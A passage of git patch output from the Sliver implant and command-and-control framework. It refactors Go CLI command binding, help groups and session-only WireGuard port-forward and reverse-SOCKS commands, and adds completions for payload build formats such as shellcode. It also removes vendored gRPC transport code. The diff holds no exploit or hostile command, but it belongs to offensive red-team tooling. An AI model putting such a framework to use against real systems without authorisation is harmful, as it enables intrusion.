"github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. @@ -39,14 +38,17 @@ func Commands(con *console.SliverClient) []*cobra.Command { // SliverCommands returns all Wireguard commands that can be used on an active target. func SliverCommands(con *console.SliverClient) []*cobra.Command { wgPortFwdCmd := &cobra.Command{ - Use: consts.WgPortFwdStr, - Short: "List ports forwarded by the WireGuard tun interface", - Long: help.GetHelpFor([]string{consts.WgPortFwdStr}), + Use: consts.WgPortFwdStr, + Short: "List ports forwarded by the WireGuard tun interface", + Long: help.GetHelpFor([]string{consts.WgPortFwdStr}), + GroupID: consts.NetworkHelpGroup, + Annotations: flags.RestrictTargets( + consts.WireguardCmdsFilter, + consts.SessionCmdsFilter, + ), Run: func(cmd *cobra.Command, args []string) { WGPortFwdListCmd(cmd, con, args) }, - GroupID: consts.NetworkHelpGroup, - Annotations: flags.RestrictTargets(consts.WireguardCmdsFilter), } flags.Bind("wg portforward", true, wgPortFwdCmd, func(f *pflag.FlagSet) { f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") diff --git a/client/command/wireguard/wg-config.go b/client/command/wireguard/wg-config.go index fd5bf115ab..760306fd73 100644 --- a/client/command/wireguard/wg-config.go +++ b/client/command/wireguard/wg-config.go @@ -28,10 +28,9 @@ import ( "strings" "text/template" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/spf13/cobra" ) var wgQuickTemplate = `[Interface] @@ -52,7 +51,7 @@ type wgQuickConfig struct { AllowedSubnet string } -// WGConfigCmd - Generate a WireGuard client configuration +// WGConfigCmd - Generate a WireGuard client configuration. func WGConfigCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { wgConfig, err := con.Rpc.GenerateWGClientConfig(context.Background(), &commonpb.Empty{}) if err != nil { diff --git a/client/command/wireguard/wg-portfwd-add.go b/client/command/wireguard/wg-portfwd-add.go index bf866bc34c..4ca36a7771 100644 --- a/client/command/wireguard/wg-portfwd-add.go +++ b/client/command/wireguard/wg-portfwd-add.go @@ -22,13 +22,12 @@ import ( "context" "net" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" ) -// WGPortFwdAddCmd - Add a new WireGuard port forward +// WGPortFwdAddCmd - Add a new WireGuard port forward. func WGPortFwdAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { diff --git a/client/command/wireguard/wg-portfwd-rm.go b/client/command/wireguard/wg-portfwd-rm.go index e3b4c24494..bd3f3555cd 100644 --- a/client/command/wireguard/wg-portfwd-rm.go +++ b/client/command/wireguard/wg-portfwd-rm.go @@ -23,14 +23,13 @@ import ( "fmt" "strconv" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" ) -// WGPortFwdRmCmd - Remove a WireGuard port forward +// WGPortFwdRmCmd - Remove a WireGuard port forward. func WGPortFwdRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { @@ -66,7 +65,7 @@ func WGPortFwdRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string } } -// PortfwdIDCompleter completes IDs of WireGuard remote portforwarders +// PortfwdIDCompleter completes IDs of WireGuard remote portforwarders. func PortfwdIDCompleter(con *console.SliverClient) carapace.Action { callback := func(_ carapace.Context) carapace.Action { results := make([]string, 0) diff --git a/client/command/wireguard/wg-portfwd.go b/client/command/wireguard/wg-portfwd.go index 2b42b1b374..38882eeb7d 100644 --- a/client/command/wireguard/wg-portfwd.go +++ b/client/command/wireguard/wg-portfwd.go @@ -21,15 +21,14 @@ package wireguard import ( "context" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/spf13/cobra" ) -// WGPortFwdListCmd - List WireGuard port forwards +// WGPortFwdListCmd - List WireGuard port forwards. func WGPortFwdListCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { diff --git a/client/command/wireguard/wg-socks-start.go b/client/command/wireguard/wg-socks-start.go index 4038008b5c..156aad40a3 100644 --- a/client/command/wireguard/wg-socks-start.go +++ b/client/command/wireguard/wg-socks-start.go @@ -21,13 +21,12 @@ package wireguard import ( "context" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" ) -// WGSocksStartCmd - Start a WireGuard reverse SOCKS proxy +// WGSocksStartCmd - Start a WireGuard reverse SOCKS proxy. func WGSocksStartCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { diff --git a/client/command/wireguard/wg-socks-stop.go b/client/command/wireguard/wg-socks-stop.go index 9494dfbfe0..c0239bfe74 100644 --- a/client/command/wireguard/wg-socks-stop.go +++ b/client/command/wireguard/wg-socks-stop.go @@ -22,13 +22,12 @@ import ( "context" "strconv" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" ) -// WGSocksStopCmd - Stop a WireGuard SOCKS proxy +// WGSocksStopCmd - Stop a WireGuard SOCKS proxy. func WGSocksStopCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSession() if session == nil { diff --git a/client/command/wireguard/wg-socks.go b/client/command/wireguard/wg-socks.go index 6046d20ed1..d2a88d5f00 100644 --- a/client/command/wireguard/wg-socks.go +++ b/client/command/wireguard/wg-socks.go @@ -22,16 +22,15 @@ import ( "context" "strconv" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" ) -// WGSocksListCmd - List WireGuard SOCKS proxies +// WGSocksListCmd - List WireGuard SOCKS proxies. func WGSocksListCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { diff --git a/server/cli/cli.go b/server/cli/cli.go index 5134c81173..95bc79b9c7 100644 --- a/server/cli/cli.go +++ b/server/cli/cli.go @@ -174,8 +174,10 @@ func newSliverServer() (*teamserver.Server, *client.SliverClient) { // server-binary only commands to the main Sliver command yielders, and returns the full, execution-mode // agnostic Command-Line-Interface for the Sliver Framework. func getSliverCommands(teamserver *server.Server, con *client.SliverClient) (server, sliver console.Commands) { - teamserverCmds := func() *cobra.Command { - return commands.Generate(teamserver, con.Teamclient) + teamserverCmds := func() []*cobra.Command { + return []*cobra.Command{ + commands.Generate(teamserver, con.Teamclient), + } } serverCmds := command.ServerCommands(con, teamserverCmds) From e57f8e82b3356fcbdb54ff3bd87aa5b6e694eb6a Mon Sep 17 00:00:00 2001 From: maxlandon Date: Sun, 23 Jul 2023 22:11:29 +0200 Subject: [PATCH 030/124] Simplify binding server-binary-only commands --- client/command/command.go | 18 +++++++++++----- client/command/server.go | 7 ++++--- client/command/sliver.go | 2 +- client/constants/constants.go | 6 ++++-- server/cli/cli.go | 24 +++++++++++----------- server/{cli => command/version}/version.go | 23 ++++++++++++--------- 6 files changed, 47 insertions(+), 33 deletions(-) rename server/{cli => command/version}/version.go (73%) diff --git a/client/command/command.go b/client/command/command.go index 3e5cb16fff..21083729f8 100644 --- a/client/command/command.go +++ b/client/command/command.go @@ -30,11 +30,11 @@ import ( const defaultTimeout = 60 -// Bind is a convenience function to bind flags to a given command. +// bindFlags is a convenience function to bind flags to a given command. // name - The name of the flag set (can be empty). // cmd - The command to which the flags should be bound. // flags - A function exposing the flag set through which flags are declared. -func Bind(name string, persistent bool, cmd *cobra.Command, flags func(f *pflag.FlagSet)) { +func bindFlags(name string, persistent bool, cmd *cobra.Command, flags func(f *pflag.FlagSet)) { flagSet := pflag.NewFlagSet(name, pflag.ContinueOnError) // Create the flag set. flags(flagSet) // Let the user bind any number of flags to it. @@ -77,9 +77,9 @@ func RestrictTargets(filters ...string) map[string]string { } } -// makeBind returns a commandBinder helper function +// MakeBind returns a commandBinder helper function. // @menu - The command menu to which the commands should be bound (either server or implant menu). -func makeBind(cmd *cobra.Command, con *client.SliverClient) func(group string, cmds ...func(con *client.SliverClient) []*cobra.Command) { +func MakeBind(cmd *cobra.Command, con *client.SliverClient) commandBinder { return func(group string, cmds ...func(con *client.SliverClient) []*cobra.Command) { found := false @@ -102,7 +102,15 @@ func makeBind(cmd *cobra.Command, con *client.SliverClient) func(group string, c // Bind the command to the root for _, command := range cmds { - cmd.AddCommand(command(con)...) + subcommands := command(con) + + // Always rudely overwrite the current + // command group: we don't cobra to panic. + for _, sub := range subcommands { + sub.GroupID = group + } + + cmd.AddCommand(subcommands...) } } } diff --git a/client/command/server.go b/client/command/server.go index 964b689d73..1862325604 100644 --- a/client/command/server.go +++ b/client/command/server.go @@ -67,11 +67,12 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command // the sliver menu: call the function with the name of the // group under which this/these commands should be added, // and the group will be automatically created if needed. - bind := makeBind(server, con) + bind := MakeBind(server, con) if serverCmds != nil { - server.AddGroup(&cobra.Group{ID: consts.MultiplayerHelpGroup, Title: consts.MultiplayerHelpGroup}) - server.AddCommand(serverCmds()...) + bind(consts.TeamserverHelpGroup, + func(con *client.SliverClient) []*cobra.Command { return serverCmds() }, + ) } // [ Bind commands ] -------------------------------------------------------- diff --git a/client/command/sliver.go b/client/command/sliver.go index cbb69f88a5..d3bb8b4c7b 100644 --- a/client/command/sliver.go +++ b/client/command/sliver.go @@ -65,7 +65,7 @@ func SliverCommands(con *client.SliverClient) console.Commands { // the sliver menu: call the function with the name of the // group under which this/these commands should be added, // and the group will be automatically created if needed. - bind := makeBind(sliver, con) + bind := MakeBind(sliver, con) // [ Core ] bind(consts.SliverCoreHelpGroup, diff --git a/client/constants/constants.go b/client/constants/constants.go index a906378154..b5a61eb2a4 100644 --- a/client/constants/constants.go +++ b/client/constants/constants.go @@ -296,6 +296,9 @@ const ( // Groups. const ( + // "Server-binary-only" group. + TeamserverHelpGroup = "Teamserver" + // Server commands =====================. GenericHelpGroup = "Generic" NetworkHelpGroup = "Network" @@ -315,8 +318,7 @@ const ( ExtensionHelpGroup = "Sliver - 3rd Party extensions" // Useless. - SliverWinHelpGroup = "Sliver - Windows" - MultiplayerHelpGroup = "Multiplayer" + SliverWinHelpGroup = "Sliver - Windows" ) // Command types / filters (per OS/type/C2/etc) diff --git a/server/cli/cli.go b/server/cli/cli.go index 95bc79b9c7..4224be72db 100644 --- a/server/cli/cli.go +++ b/server/cli/cli.go @@ -40,6 +40,7 @@ import ( assetsCmds "github.com/bishopfox/sliver/server/command/assets" builderCmds "github.com/bishopfox/sliver/server/command/builder" certsCmds "github.com/bishopfox/sliver/server/command/certs" + "github.com/bishopfox/sliver/server/command/version" "github.com/bishopfox/sliver/server/encoders" "github.com/bishopfox/sliver/server/transport" @@ -75,14 +76,6 @@ func Execute() { rootCmd := serverCmds() rootCmd.Use = "sliver-server" // Needed by completion scripts. - // Bind additional commands peculiar to the one-exec CLI. - // NOTE: Down the road these commands should probably stripped of their - // os.Exit() calls and adapted so that they can be used in the console too. - rootCmd.AddCommand(versionCmd) - rootCmd.AddCommand(assetsCmds.Commands()...) - rootCmd.AddCommand(builderCmds.Commands()...) - rootCmd.AddCommand(certsCmds.Commands()...) - // Bind the closed-loop console: // The console shares the same setup/connection pre-runners as other commands, // but the command yielders we pass as arguments don't: this is because we only @@ -174,10 +167,17 @@ func newSliverServer() (*teamserver.Server, *client.SliverClient) { // server-binary only commands to the main Sliver command yielders, and returns the full, execution-mode // agnostic Command-Line-Interface for the Sliver Framework. func getSliverCommands(teamserver *server.Server, con *client.SliverClient) (server, sliver console.Commands) { - teamserverCmds := func() []*cobra.Command { - return []*cobra.Command{ - commands.Generate(teamserver, con.Teamclient), - } + teamserverCmds := func() (cmds []*cobra.Command) { + // Teamserver management + cmds = append(cmds, commands.Generate(teamserver, con.Teamclient)) + + // Sliver-specific + cmds = append(cmds, version.Commands()...) + cmds = append(cmds, assetsCmds.Commands()...) + cmds = append(cmds, builderCmds.Commands()...) + cmds = append(cmds, certsCmds.Commands()...) + + return cmds } serverCmds := command.ServerCommands(con, teamserverCmds) diff --git a/server/cli/version.go b/server/command/version/version.go similarity index 73% rename from server/cli/version.go rename to server/command/version/version.go index c3af479bf8..83ba186c15 100644 --- a/server/cli/version.go +++ b/server/command/version/version.go @@ -1,4 +1,4 @@ -package cli +package version /* Sliver Implant Framework @@ -21,16 +21,19 @@ package cli import ( "fmt" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/version" + "github.com/spf13/cobra" ) -var versionCmd = &cobra.Command{ - Use: "version", - Short: "Print version and exit", - Long: ``, - Run: func(cmd *cobra.Command, args []string) { - fmt.Printf("%s\n", version.FullVersion()) - }, +func Commands() []*cobra.Command { + versionCmd := &cobra.Command{ + Use: "version", + Short: "Print version and exit", + Long: ``, + Run: func(cmd *cobra.Command, args []string) { + fmt.Printf("%s\n", version.FullVersion()) + }, + } + + return []*cobra.Command{versionCmd} } From c9cac6035e45d74994608feee5e4a2f87d9f73f0 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Sun, 23 Jul 2023 23:16:29 +0200 Subject: [PATCH 031/124] Add completion for all builder flags Remove unused vendor code --- client/cli/cli.go | 2 +- client/command/generate/commands.go | 2 +- client/command/server.go | 6 +- server/builder/builder.go | 8 +- server/cli/cli.go | 8 +- server/command/builder/builder.go | 60 ++++- server/command/certs/certs.go | 3 +- server/command/version/version.go | 3 +- .../team/client/commands/commands.go | 40 ++++ .../team/server/commands/commands.go | 18 +- .../reeflective/team/server/users.go | 56 +++++ .../team/transports/grpc/client/client.go | 189 --------------- .../team/transports/grpc/client/middleware.go | 99 -------- .../team/transports/grpc/server/middleware.go | 218 ------------------ .../team/transports/grpc/server/rpc.go | 73 ------ .../team/transports/grpc/server/server.go | 204 ---------------- vendor/modules.txt | 2 - 17 files changed, 176 insertions(+), 815 deletions(-) delete mode 100644 vendor/github.com/reeflective/team/transports/grpc/client/client.go delete mode 100644 vendor/github.com/reeflective/team/transports/grpc/client/middleware.go delete mode 100644 vendor/github.com/reeflective/team/transports/grpc/server/middleware.go delete mode 100644 vendor/github.com/reeflective/team/transports/grpc/server/rpc.go delete mode 100644 vendor/github.com/reeflective/team/transports/grpc/server/server.go diff --git a/client/cli/cli.go b/client/cli/cli.go index dd8fd6c30a..2137861e79 100644 --- a/client/cli/cli.go +++ b/client/cli/cli.go @@ -99,7 +99,7 @@ func newSliverClient() *client.SliverClient { // getSliverCommands returns the entire command tree of the Sliver Framework as yielder functions. func getSliverCommands(con *client.SliverClient) (server, sliver console.Commands) { - teamclientCmds := func() []*cobra.Command { + teamclientCmds := func(con *client.SliverClient) []*cobra.Command { return []*cobra.Command{ commands.Generate(con.Teamclient), } diff --git a/client/command/generate/commands.go b/client/command/generate/commands.go index 83e54fabd9..67ed1ded0d 100644 --- a/client/command/generate/commands.go +++ b/client/command/generate/commands.go @@ -10,7 +10,7 @@ import ( "github.com/spf13/pflag" ) -// Commands returns the “ command and its subcommands. +// Commands returns all payload compilation commands. func Commands(con *console.SliverClient) []*cobra.Command { // [ Generate ] -------------------------------------------------------------- generateCmd := &cobra.Command{ diff --git a/client/command/server.go b/client/command/server.go index 1862325604..714b77ed52 100644 --- a/client/command/server.go +++ b/client/command/server.go @@ -52,9 +52,11 @@ import ( "github.com/spf13/cobra" ) +type CommandBinder func(con *client.SliverClient) []*cobra.Command + // ServerCommands returns all commands bound to the server menu, optionally // accepting a function returning a list of additional (admin) commands. -func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command) console.Commands { +func ServerCommands(con *client.SliverClient, serverCmds CommandBinder) console.Commands { serverCommands := func() *cobra.Command { server := &cobra.Command{ Short: "Server commands", @@ -71,7 +73,7 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command if serverCmds != nil { bind(consts.TeamserverHelpGroup, - func(con *client.SliverClient) []*cobra.Command { return serverCmds() }, + serverCmds, ) } diff --git a/server/builder/builder.go b/server/builder/builder.go index 9a3d3492e4..71c6a45cea 100644 --- a/server/builder/builder.go +++ b/server/builder/builder.go @@ -37,9 +37,7 @@ import ( "github.com/bishopfox/sliver/util" ) -var ( - builderLog = log.NamedLogger("builder", "sliver") -) +var builderLog = log.NamedLogger("builder", "sliver") type Config struct { GOOSs []string @@ -49,14 +47,14 @@ type Config struct { // StartBuilder - main entry point for the builder func StartBuilder(externalBuilder *clientpb.Builder, rpc rpcpb.SliverRPCClient) { - sigint := make(chan os.Signal, 1) signal.Notify(sigint, os.Interrupt) builderLog.Infof("Attempting to register builder: %s", externalBuilder.Name) events, err := buildEvents(externalBuilder, rpc) if err != nil { - os.Exit(1) + builderLog.Errorf("Build events handler error: %s", err.Error()) + return } // Wait for signal or builds diff --git a/server/cli/cli.go b/server/cli/cli.go index 4224be72db..0ad8ad71eb 100644 --- a/server/cli/cli.go +++ b/server/cli/cli.go @@ -167,15 +167,15 @@ func newSliverServer() (*teamserver.Server, *client.SliverClient) { // server-binary only commands to the main Sliver command yielders, and returns the full, execution-mode // agnostic Command-Line-Interface for the Sliver Framework. func getSliverCommands(teamserver *server.Server, con *client.SliverClient) (server, sliver console.Commands) { - teamserverCmds := func() (cmds []*cobra.Command) { + teamserverCmds := func(con *client.SliverClient) (cmds []*cobra.Command) { // Teamserver management cmds = append(cmds, commands.Generate(teamserver, con.Teamclient)) // Sliver-specific - cmds = append(cmds, version.Commands()...) + cmds = append(cmds, version.Commands(con)...) cmds = append(cmds, assetsCmds.Commands()...) - cmds = append(cmds, builderCmds.Commands()...) - cmds = append(cmds, certsCmds.Commands()...) + cmds = append(cmds, builderCmds.Commands(con)...) + cmds = append(cmds, certsCmds.Commands(con)...) return cmds } diff --git a/server/command/builder/builder.go b/server/command/builder/builder.go index e47da09326..6b29a93874 100644 --- a/server/command/builder/builder.go +++ b/server/command/builder/builder.go @@ -26,6 +26,8 @@ import ( "runtime/debug" "strings" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/transport" "github.com/bishopfox/sliver/client/version" "github.com/bishopfox/sliver/protobuf/clientpb" @@ -34,6 +36,8 @@ import ( "github.com/bishopfox/sliver/server/generate" "github.com/bishopfox/sliver/server/log" "github.com/reeflective/team/client" + "github.com/reeflective/team/client/commands" + "github.com/rsteube/carapace" "github.com/spf13/cobra" "google.golang.org/grpc" ) @@ -52,7 +56,7 @@ const ( ) // Commands returns all commands for using Sliver as a builder backend. -func Commands() []*cobra.Command { +func Commands(con *console.SliverClient) []*cobra.Command { builderCmd := &cobra.Command{ Use: "builder", Short: "Start the process as an external builder", @@ -69,6 +73,12 @@ func Commands() []*cobra.Command { builderCmd.Flags().StringSlice(enableTargetFlagStr, []string{}, "force enable a target: format:goos/goarch") builderCmd.Flags().StringSlice(disableTargetFlagStr, []string{}, "force disable target arch: format:goos/goarch") + flags.BindFlagCompletions(builderCmd, func(comp *carapace.ActionMap) { + (*comp)["enable-target"] = builderFormatsCompleter() + (*comp)["disable-target"] = builderFormatsCompleter() + (*comp)["config"] = commands.ConfigsAppCompleter(con.Teamclient, "detected Sliver configs") + }) + return []*cobra.Command{builderCmd} } @@ -297,3 +307,51 @@ func startBuilderTeamclient(externalBuilder *clientpb.Builder, configPath string // Let the builder do its work, blocking. builder.StartBuilder(externalBuilder, rpc) } + +// builderFormatsCompleter completes supported builders architectures. +func builderFormatsCompleter() carapace.Action { + return carapace.ActionCallback(func(_ carapace.Context) carapace.Action { + return carapace.ActionMultiParts(":", func(c carapace.Context) carapace.Action { + var results []string + + switch len(c.Parts) { + + // Binary targets + case 1: + for _, target := range generate.GetCompilerTargets() { + results = append(results, fmt.Sprintf("%s/%s", target.GOOS, target.GOARCH)) + } + + for _, target := range generate.GetUnsupportedTargets() { + results = append(results, fmt.Sprintf("%s/%s", target.GOOS, target.GOARCH)) + } + + return carapace.ActionValues(results...).Tag("architectures") + + // Binary formats + case 0: + for _, fmt := range []string{"executable", "exe", "exec", "pe"} { + results = append(results, fmt, clientpb.OutputFormat_EXECUTABLE.String()) + } + + for _, fmt := range []string{"shared-lib", "sharedlib", "dll", "so", "dylib"} { + results = append(results, fmt, clientpb.OutputFormat_SHARED_LIB.String()) + } + + for _, fmt := range []string{"service", "svc"} { + results = append(results, fmt, clientpb.OutputFormat_SERVICE.String()) + } + + for _, fmt := range []string{"shellcode", "shell", "sc"} { + results = append(results, fmt, clientpb.OutputFormat_SHELLCODE.String()) + } + + return carapace.ActionValuesDescribed(results...).Tag("formats").Suffix(":") + } + + return carapace.ActionValues() + }) + // Our flags --enable-target/--disable-targets are list, + // so users can coma-separate their values for a single flag. + }).UniqueList(",") +} diff --git a/server/command/certs/certs.go b/server/command/certs/certs.go index b81fa8349c..57e8cedd2f 100644 --- a/server/command/certs/certs.go +++ b/server/command/certs/certs.go @@ -25,6 +25,7 @@ import ( "path/filepath" "strings" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/server/certs" "github.com/spf13/cobra" ) @@ -57,7 +58,7 @@ func validCATypes() []string { } // Commands returns all commands for Sliver-specific Certificates management. -func Commands() []*cobra.Command { +func Commands(con *console.SliverClient) []*cobra.Command { cmdImportCA := &cobra.Command{ Use: "import-ca", Short: "Import certificate authority", diff --git a/server/command/version/version.go b/server/command/version/version.go index 83ba186c15..c8fdbb365b 100644 --- a/server/command/version/version.go +++ b/server/command/version/version.go @@ -21,11 +21,12 @@ package version import ( "fmt" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/version" "github.com/spf13/cobra" ) -func Commands() []*cobra.Command { +func Commands(con *console.SliverClient) []*cobra.Command { versionCmd := &cobra.Command{ Use: "version", Short: "Print version and exit", diff --git a/vendor/github.com/reeflective/team/client/commands/commands.go b/vendor/github.com/reeflective/team/client/commands/commands.go index 8c0548d2a6..65651876d1 100644 --- a/vendor/github.com/reeflective/team/client/commands/commands.go +++ b/vendor/github.com/reeflective/team/client/commands/commands.go @@ -199,6 +199,46 @@ func ConfigsCompleter(cli *client.Client, filePath, ext, tag string, noSelf bool } } +// ConfigsAppCompleter completes file paths to the current application configs. +func ConfigsAppCompleter(cli *client.Client, tag string) carapace.Action { + return carapace.ActionCallback(func(ctx carapace.Context) carapace.Action { + var compErrors []carapace.Action + + configPath := cli.ConfigsDir() + + files, err := os.ReadDir(configPath) + if err != nil { + compErrors = append(compErrors, carapace.ActionMessage("failed to list user directories: %s", err)) + } + + var results []string + + for _, file := range files { + if !strings.HasSuffix(file.Name(), command.ClientConfigExt) { + continue + } + + filePath := filepath.Join(configPath, file.Name()) + + cfg, err := cli.ReadConfig(filePath) + if err != nil || cfg == nil { + continue + } + + results = append(results, filePath) + results = append(results, fmt.Sprintf("[%s] %s:%d", cfg.User, cfg.Host, cfg.Port)) + } + + configsAction := carapace.ActionValuesDescribed(results...).StyleF(getConfigStyle(command.ClientConfigExt)) + + return carapace.Batch(append( + compErrors, + configsAction.Tag(tag), + carapace.ActionFiles())..., + ).ToA() + }) +} + func isConfigDir(cli *client.Client, dir fs.DirEntry, noSelf bool) bool { if !strings.HasPrefix(dir.Name(), ".") { return false diff --git a/vendor/github.com/reeflective/team/server/commands/commands.go b/vendor/github.com/reeflective/team/server/commands/commands.go index 618a32b6d0..ba1030f4d3 100644 --- a/vendor/github.com/reeflective/team/server/commands/commands.go +++ b/vendor/github.com/reeflective/team/server/commands/commands.go @@ -19,6 +19,8 @@ package commands */ import ( + "fmt" + "github.com/reeflective/team/client" cli "github.com/reeflective/team/client/commands" "github.com/reeflective/team/internal/command" @@ -33,13 +35,13 @@ import ( // This is so that all CLI applications which can be a teamserver can also be a client of their own. // // ** Commands do: -// - Ensure they are connected to a server instance (in memory). // - Work even if the teamserver/client returns errors: those are returned &| printed &| logged. // - Use the cobra utilities OutOrStdout(), ErrOrStdErr(), ... for all and every command output. // - Have attached completions for users/listeners/config files of all sorts, and other things. // - Have the ability to be ran in closed-loop console applications ("single runtime shell"). // // ** Commands do NOT: +// - Ensure they are connected to a server instance before running (in memory). // - Call os.Exit() anywhere, thus will not exit the program embedding them. // - Ignite/start the teamserver core/filesystem/backends before they absolutely need to. // Consequently, do not touch the filesystem until they absolutely need to. @@ -51,23 +53,11 @@ func Generate(teamserver *server.Server, teamclient *client.Client) *cobra.Comma // On top, they need a listener in memory. servCmds := serverCommands(teamserver, teamclient) - // for _, cmd := range servCmds.Commands() { - // cmd.PersistentPreRunE = func(cmd *cobra.Command, args []string) error { - // return teamserver.Serve(teamclient) - // } - // } - // We bind the same runners to the client-side commands. cliCmds := cli.Generate(teamclient) cliCmds.Use = "client" cliCmds.GroupID = command.TeamServerGroup - // for _, cmd := range cliCmds.Commands() { - // cmd.PersistentPreRunE = func(cmd *cobra.Command, args []string) error { - // return teamserver.Serve(teamclient) - // } - // } - servCmds.AddCommand(cliCmds) return servCmds @@ -76,7 +66,7 @@ func Generate(teamserver *server.Server, teamclient *client.Client) *cobra.Comma func serverCommands(server *server.Server, client *client.Client) *cobra.Command { teamCmd := &cobra.Command{ Use: "teamserver", - Short: "Manage the application server-side teamserver and users", + Short: fmt.Sprintf("Manage the %s teamserver and users", server.Name()), SilenceUsage: true, } diff --git a/vendor/github.com/reeflective/team/server/users.go b/vendor/github.com/reeflective/team/server/users.go index f1ec242520..526dd72381 100644 --- a/vendor/github.com/reeflective/team/server/users.go +++ b/vendor/github.com/reeflective/team/server/users.go @@ -277,3 +277,59 @@ func (ts *Server) updateLastSeen(name string) { lastSeen := time.Now().Round(1 * time.Second) ts.dbSession().Model(&db.User{}).Where("name", name).Update("LastSeen", lastSeen) } + +// func TestRootOnlyVerifyCertificate(t *testing.T) { +// certs.SetupCAs() +// +// data, err := NewOperatorConfig("zerocool", "localhost", uint16(1337)) +// if err != nil { +// t.Fatalf("failed to generate test player profile %s", err) +// } +// config := &ClientConfig{} +// err = json.Unmarshal(data, config) +// if err != nil { +// t.Fatalf("failed to parse client config %s", err) +// } +// +// _, _, err = certs.OperatorServerGetCertificate("localhost") +// if err == certs.ErrCertDoesNotExist { +// certs.OperatorServerGenerateCertificate("localhost") +// } +// +// // Test with a valid certificate +// certPEM, _, _ := certs.OperatorServerGetCertificate("localhost") +// block, _ := pem.Decode(certPEM) +// err = clienttransport.RootOnlyVerifyCertificate(config.CACertificate, [][]byte{block.Bytes}) +// if err != nil { +// t.Fatalf("root only verify certificate error: %s", err) +// } +// +// // Test with wrong CA +// wrongCert, _ := certs.GenerateECCCertificate(certs.HTTPSCA, "foobar", false, false) +// block, _ = pem.Decode(wrongCert) +// err = clienttransport.RootOnlyVerifyCertificate(config.CACertificate, [][]byte{block.Bytes}) +// if err == nil { +// t.Fatal("root only verify cert verified a certificate with invalid ca!") +// } +// +// } + +// func TestOperatorGenerateCertificate(t *testing.T) { +// GenerateCertificateAuthority(OperatorCA, "") +// cert1, key1, err := OperatorClientGenerateCertificate("test3") +// if err != nil { +// t.Errorf("Failed to store ecc certificate %v", err) +// return +// } +// +// cert2, key2, err := OperatorClientGetCertificate("test3") +// if err != nil { +// t.Errorf("Failed to get ecc certificate %v", err) +// return +// } +// +// if !bytes.Equal(cert1, cert2) || !bytes.Equal(key1, key2) { +// t.Errorf("Stored ecc cert/key does match generated cert/key: %v != %v", cert1, cert2) +// return +// } +// } diff --git a/vendor/github.com/reeflective/team/transports/grpc/client/client.go b/vendor/github.com/reeflective/team/transports/grpc/client/client.go deleted file mode 100644 index 4cdbafe95f..0000000000 --- a/vendor/github.com/reeflective/team/transports/grpc/client/client.go +++ /dev/null @@ -1,189 +0,0 @@ -package client - -/* - team - Embedded teamserver for Go programs and CLI applications - Copyright (C) 2023 Reeflective - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "context" - "errors" - "fmt" - "time" - - "github.com/reeflective/team" - "github.com/reeflective/team/client" - "github.com/reeflective/team/transports/grpc/proto" - "google.golang.org/grpc" - "google.golang.org/grpc/status" -) - -const ( - kb = 1024 - mb = kb * 1024 - gb = mb * 1024 - - // ClientMaxReceiveMessageSize - Max gRPC message size ~2Gb. - ClientMaxReceiveMessageSize = (2 * gb) - 1 // 2Gb - 1 byte - - defaultTimeout = 10 * time.Second -) - -var ( - // ErrNoRPC indicates that no gRPC generated proto.Teamclient bound to a client - // connection is available. The error is raised when the handler hasn't connected. - ErrNoRPC = errors.New("no working grpc.Teamclient available") - - // ErrNoTLSCredentials is an error raised if the 